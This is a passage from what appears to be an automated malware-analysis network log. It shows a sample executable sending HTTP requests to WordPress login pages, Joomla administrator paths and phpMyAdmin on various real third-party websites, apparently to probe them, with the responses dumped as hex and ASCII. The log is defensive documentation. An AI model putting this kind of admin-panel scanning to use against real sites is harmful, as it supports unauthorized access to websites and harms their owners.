ext":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://mydirectlender.com/#website","url":"https://mydirectlender.com/","name":"Staging for MyDirectLender.com","description":"Direct Lenders, LLC","publisher":{"@id":"https://mydirectlender.c
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 69 64 6e 69 67 68 74 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 73 6d 61 6c 6c 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 Data Ascii: set--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var
2023-11-26 05:59:38 UTC	4177	IN	Data Raw: 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 74 79 78 2d 73 69 64 65 62 61 72 20 63 6f 6c 2d 6d 64 2d 33 20 63 6f 6c 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 73 65 61 72 63 68 2d 31 22 20 63 6c 61 73 73 3d 22 77 69 64 67 65 74 20 77 69 64 67 65 74 5f 73 65 61 72 63 68 22 3e 3c 66 6f 72 6d 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 69 64 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 68 74 74 Data Ascii: </div> </div> </div> <div class="styx-sidebar col-md-3 col-12"> <div id="search-1" class="widget widget_search"><form role="search" method="get" id="searchform" class="searchform" action="htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	60676	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	238	OUT	GET /administrator/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gruporegiosafety.com/administrator/
2023-11-26 05:59:39 UTC	1483	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 48 65 61 64 65 72 73 3a 20 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 20 41 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Access-Control-Allow-Methods: GET,POSTAccess-Control-Allow-Headers: Content-Type, A
2023-11-26 05:59:39 UTC	6709	IN	Data Raw: 33 62 37 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 Data Ascii: 3b79<!DOCTYPE html><html lang="es-MX"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://gruporegiosafety.com/xmlrpc.php" /><script type="text/javascript">document.documentE
2023-11-26 05:59:39 UTC	522	IN	Data Raw: 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--pr
2023-11-26 05:59:40 UTC	8000	IN	Data Raw: 6c 75 65 3a 20 23 30 36 39 33 65 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 3a 20 23 39 62 35 31 65 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 36 2c 31 34 37 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e Data Ascii: lue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradien
2023-11-26 05:59:40 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:40 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 74 6f 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 65 72 79 2d 6c 69 67 68 74 2d 67 72 61 79 2d 74 Data Ascii: 1f40--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-t
2023-11-26 05:59:40 UTC	7822	IN	Data Raw: 68 6f 76 65 72 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 6e 6f 5f 69 63 6f 6e 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 6e 6f 5f 69 63 6f 6e 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 70 61 64 64 69 6e 67 3a 2e 33 65 6d 20 31 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 74 5f 62 75 74 74 6f 6e 5f 63 75 73 74 6f 6d 5f 69 63 6f 6e 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 61 66 74 65 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 65 6d 7d 2e 65 74 5f 62 75 74 74 6f 6e 5f 63 75 73 74 6f 6d 5f 69 63 6f 6e 2e 65 74 5f 62 75 74 74 6f 6e 5f 69 63 6f 6e 5f 76 69 73 69 62 6c 65 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 61 66 74 65 72 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 63 75 73 74 6f 6d 5f 69 63 6f 6e 20 Data Ascii: hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon
2023-11-26 05:59:40 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:40 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 73 61 66 65 2d 6d 6f 64 65 2d 69 6e 64 69 63 61 74 6f 72 3a 66 6f 63 75 73 2c 2e 65 74 2d 73 61 66 65 2d 6d 6f 64 65 2d 69 6e 64 69 63 61 74 6f 72 3a 68 6f 76 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 35 70 78 20 31 30 70 78 20 72 67 62 61 28 34 31 2c 31 39 36 2c 31 36 39 2c 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 35 70 78 20 31 30 70 78 20 72 67 62 61 28 34 31 2c 31 39 36 2c 31 36 39 2c 2e 31 35 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 39 63 34 61 39 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 62 6f 72 64 65 72 2d 72 Data Ascii: 1f40safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-r
2023-11-26 05:59:40 UTC	7822	IN	Data Raw: 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 31 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 31 30 25 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 4c 65 66 74 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 31 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 31 30 25 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 Data Ascii: rm:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	60818	159.203.32.4	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	227	OUT	GET /wp-admin/ HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://jamiesonmullin.com/wp-login.php
2023-11-26 05:59:38 UTC	176	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 32 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 3029Connection: closeContent-Type: text/html; charset=UTF-8
2023-11-26 05:59:38 UTC	3029	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e Data Ascii: <!DOCTYPE html><html><meta content="IE=edge" http-equiv="X-UA-Compatible"> <meta charset="utf-8"/> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" name="viewport"> <meta con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	60810	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	172	OUT	GET /wp-login.php HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 62 2d 37 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/wp-login.phpServer: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-b-7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	60704	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	176	OUT	GET /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	856	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 05:59:38 UTC	7882	IN	Data Raw: 31 65 63 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1ec2<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 05:59:38 UTC	593	IN	Data Raw: 32 34 61 0d 0a 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 66 34 39 38 32 35 38 33 39 63 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 Data Ascii: 24aipt' src='https://engel-firm.com/wp-includes/js/wp-util.min.js?ver=6.3.2' id='wp-util-js'></script><script type='text/javascript' id='user-profile-js-extra'>/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"f49825839c"};/ ... */</scr
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	60811	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	175	OUT	GET /phpMyAdmin HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	1079	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 38 2e 35 37 35 31 30 33 36 33 33 36 33 34 31 33 32 38 38 33 30 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978378.5751036336341328830Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10
2023-11-26 05:59:38 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
